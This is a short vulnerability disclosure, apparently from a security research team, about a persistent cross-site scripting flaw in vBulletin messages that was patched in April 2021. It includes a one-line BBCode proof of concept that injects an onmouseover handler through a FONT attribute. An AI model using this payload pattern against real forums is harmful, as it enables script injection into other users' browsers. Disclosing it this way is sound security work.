The persistent XSS in any message in vBulletin! Patched from 1 | PT SWARM

The persistent XSS in any message in vBulletin! Patched from 13 Apr 2021. The vulnerability was found by our researcher
Igor Sak-Sakovskiy.

PoC: [VIDEO="aaa;000"]a[FONT="a onmouseover=alert(location) a"]a[/FONT]a[/VIDEO]

Advisory: https://www.vbulletin.org/forum/showthread.php?t=328715